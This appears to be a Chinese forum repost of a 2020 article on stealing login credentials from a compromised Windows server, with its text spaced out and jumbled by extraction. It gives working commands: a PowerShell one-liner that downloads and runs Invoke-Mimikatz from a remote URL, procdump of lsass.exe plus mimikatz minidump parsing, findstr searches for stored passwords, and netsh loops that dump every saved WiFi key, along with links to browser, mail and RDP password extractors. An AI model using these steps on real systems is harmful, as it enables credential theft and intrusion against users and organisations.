搜索

[1021] 2020-10-10_Windows下登录凭证窃取技巧

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-16
2020-10-10_Windows下登录凭证窃取技巧 W i n d o w s 下 登 录 凭 证 窃 取 技 巧 原 创   B y p a s s   B y p a s s   2 0 2 0 - 1 0 - 1 0 拿 到 一 台 W i n d o w s 服 务 器 权 限 ， 收 集 各 种 登 录 凭 证 以 便 扩 大 战 果 。 本 篇 分 享 几 个 窃 取 W i n d o w s 登 录 凭 证 的 工 具 和 技 巧 。 1 、 、 W i n d o w s   本 地 密 码 本 地 密 码 H a s h W i n d o w s 的 系 统 密 码 h a s h 默 认 情 况 下 一 般 由 两 部 分 组 成 ： 第 一 部 分 是 L M - h a s h ， 第 二 部 分 是 N T L M - h a s h 。 W i n d o w s 系 统 下 h a s h 密 码 格 式 用 户 名 称 : R I D : L M - H A S H 值 : N T - H A S H 值 。 例 如 ： 破 解 方 式 一 ： 破 解 方 式 一 ： h a s h 在 线 破 解 网 站 在 线 破 解 网 站 破 解 方 式 二 ： 破 解 方 式 二 ： m i m i k a t z G i t h u b 地 址 ： 破 解 方 式 三 ： 破 解 方 式 三 ： w c e A d m i n i s t r a t o r : 5 0 0 : A F 0 1 D F 7 0 0 3 6 E B A C F A A D 3 B 4 3 5 B 5 1 4 0 4 E E : 4 4 F 0 7 7 E 2 7 F 6 F E F 6 9 E 7 B D 8 3 4 C 7 2 4 2 B 0 4 0 用 户 名 称 为 ： A d m i n i s t r a t o r R I D 为 ： 5 0 0 L M - H A S H 值 为 ： A F 0 1 D F 7 0 0 3 6 E B A C F A A D 3 B 4 3 5 B 5 1 4 0 4 E E N T - H A S H 值 为 ： 4 4 F 0 7 7 E 2 7 F 6 F E F 6 9 E 7 B D 8 3 4 C 7 2 4 2 B 0 4 0 h t t p s : / / w w w . o b j e c t i f - s e c u r i t e . c h / o p h c r a c k h t t p : / / c m d 5 . c o m h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z m i m i k a t z 使 用 起 来 也 非 常 简 单 ， 提 取 W i n d o w s 系 统 的 明 文 密 码 只 需 两 行 命 令 ： p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n p a s s w o r d s w c e 的 常 用 参 数 使 用 说 明 如 下 ： 参 数 解 释 :         - l           列 出 登 录 的 会 话 和 N T L M 凭 据 （ 默 认 值 ）         - s           修 改 当 前 登 录 会 话 的 N T L M 凭 据   参 数 ： < 用 户 名 > : < 域 名 > : < L M 哈 希 > : < N T 哈 希 >         - w           通 过 摘 要 式 认 证 缓 存 一 个 明 文 的 密 码
破 解 方 式 四 ： 破 解 方 式 四 ： P o w e r s h e l l + m i m i k a t z 直 接 利 用 p o w e s h e l l 来 调 用 m i m i k a t z 抓 取 系 统 内 的 明 文 密 码 。 破 解 方 式 五 ： 破 解 方 式 五 ： p r o d u m p + m i m i k a t z p r o c d u m p 是 微 软 官 方 提 供 的 一 个 小 工 具 ， 微 软 官 方 下 载 地 址 ： 2 、 抓 取 浏 览 器 密 码 、 抓 取 浏 览 器 密 码 很 多 浏 览 器 都 提 供 了 记 住 密 码 的 功 能 ， 用 户 在 登 录 一 些 网 站 的 时 候 会 选 择 记 住 密 码 。 L a Z a g n e ： 提 取 浏 览 器 所 保 存 的 密 码 g i t h u b 项 目 地 址 ： 3 、 服 务 端 明 文 存 储 密 码 、 服 务 端 明 文 存 储 密 码 在 一 些 配 置 文 件 或 日 志 里 ， 明 文 记 录 着 敏 感 的 密 码 信 息 ， 如 w e b . c o n f i g 、 c o n f i g . i n i 等 文 件 ， 可 通 过 手 动 翻 查 敏 感 目 录 ， 也 可 以 通 过 f i n d s t r 命 令 来 查 找 敏 感 文 件 和 内 容 。 4 、 第 三 方 运 维 工 具 托 管 密 码 解 密 、 第 三 方 运 维 工 具 托 管 密 码 解 密 常 见 的 有 L i n u x 运 维 工 具 ， 如 P u t t y 、 x s h e l l 、 w i n s c p 等 ， R D P 管 理 工 具 ， R e m o t e   D e s k t o p   O r g a n i z e r ， 远 控 软 件 ： T e a m v i e w e r 等 。 x s h e l l   密 码 解 密 工 具 ： 提 取 W i n S C P ， P u T T Y 等 保 存 的 会 话 信 息 ： 从 内 存 中 提 取 T e a m V i e w e r 密 码 的 工 具 ： p o w e r s h e l l   " I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / m a t t i f e s t a t i o n / P o w e r S p l o i t / m a s t e r / E x f i l t r a t i o n / I n v o k e - M i m i k a t z . p s 1 ' ) ;   I n v o k e - M i m i k a t z   - D u m p C r e d s " h t t p s : / / t e c h n e t . m i c r o s o f t . c o m / e n - u s / s y s i n t e r n a l s / d d 9 9 6 9 0 0 #   将 工 具 拷 贝 到 目 标 机 器 上 执 行 如 下 命 令 （ 需 要 管 理 员 权 限 , 我 选 择 的 版 本 是 6 4 位 ） p r o c d u m p . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   l s a s s . d m p #   将 生 成 的 内 存 d u m p 文 件 拷 贝 到 m i m i k a t z 同 目 录 下 ， 双 击 打 开 m i m i k a t z 执 行 情 况 如 图 ： m i m i k a t z   #   s e k u r l s a : : m i n i d u m p   l s a s s . d m p #   S w i t c h   t o   M I N I D U M P m i m i k a t z   #   s e k u r l s a : : l o g o n P a s s w o r d s   f u l l h t t p s : / / g i t h u b . c o m / A l e s s a n d r o Z / L a Z a g n e f i n d s t r   / i   / s   " p a s s w o r d "   * . c o n f i g f i n d s t r   / i   / s   " p a s s w o r d "   * . i n i f i n d s t r   / i   / s   " p a s s w o r d "   * . x m l h t t p s : / / g i t h u b . c o m / d z x s / X d e c r y p t h t t p s : / / g i t h u b . c o m / A r v a n a g h i / S e s s i o n G o p h e r
一 键 破 解 客 户 端 星 号 密 码 - - 星 号 密 码 查 看 器 。 5 、 一 键 获 取 电 脑 、 一 键 获 取 电 脑 w i f i 密 码 密 码 6 、 、 W i n d o w s 键 盘 记 录 工 具 键 盘 记 录 工 具 可 以 记 录 用 户 键 盘 操 作 ， 从 而 捕 获 用 户 的 敏 感 信 息 ， 在 g i t h u b 和 T 0 0 l s 都 可 以 找 到 这 一 类 的 源 码 和 工 具 。 7 、 、 W i n d o w s 密 码 提 取 工 具 合 集 密 码 提 取 工 具 合 集 各 种 W i n d o w s 程 序 的 密 码 提 取 工 具 ， 包 括 各 种 浏 览 器 、 邮 箱 、 W i n d o w s 网 络 密 码 、 无 线 网 络 密 钥 等 。 I E 浏 览 器 提 取 密 码 工 具 ： F i r e f o x   浏 览 器 密 码 提 取 工 具 ： C h r o m e   浏 览 器 密 码 提 取 工 具 ： h t t p s : / / g i t h u b . c o m / a t t a c k e r c a n / t e a m v i e w e r - d u m p e r # 查 看 电 脑 连 接 过 的 所 有 w i f i n e t s h   w l a n   s h o w   p r o f i l e s # 查 看 w i f i 信 号 为 A a r o n 的 密 码 n e t s h   w l a n   s h o w   p r o f i l e s   n a m e = " A a r o n "   k e y = c l e a r # C M D 一 键 获 取   所 有 连 接 过 的 W I F I 密 码 f o r   / f   " s k i p = 9   t o k e n s = 1 , 2   d e l i m s = : "   % i   i n   ( ' n e t s h   w l a n   s h o w   p r o f i l e s ' )   d o   @ e c h o   % j   |   f i n d s t r   - i   - v   e c h o   |   n e t s h   w l a n   s h o w   p r o f i l e s   % j   k e y = c l e a r h t t p s : / / w w w . n i r s o f t . n e t / t o o l s d o w n l o a d / i e p v . z i p h t t p s : / / w w w . n i r s o f t . n e t / t o o l s d o w n l o a d / p a s s w o r d f o x - x 6 4 . z i p h t t p s : / / w w w . n i r s o f t . n e t / t o o l s d o w n l o a d / c h r o m e p a s s . z i p
S V N 密 码 解 密 器 ： 邮 箱 密 码 提 取 工 具 ： 提 取 . r d p 文 件 中 存 储 的 密 码 ： M S S Q L 凭 据 密 码 获 取 工 具 ： h t t p : / / w w w . l e a p b e y o n d . c o m / r i c / T S v n P D / T S v n P w d _ s o u r c e . z i p h t t p s : / / w w w . n i r s o f t . n e t / t o o l s d o w n l o a d / m a i l p v . z i p h t t p s : / / w w w . n i r s o f t . n e t / t o o l s d o w n l o a d / r d p v . z i p h t t p : / / w w w . z c g o n v h . c o m / z b _ u s e r s / u p l o a d / 2 0 1 5 / 2 / m s s q l _ c r e d e n t i a l s _ p w d . z i p
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理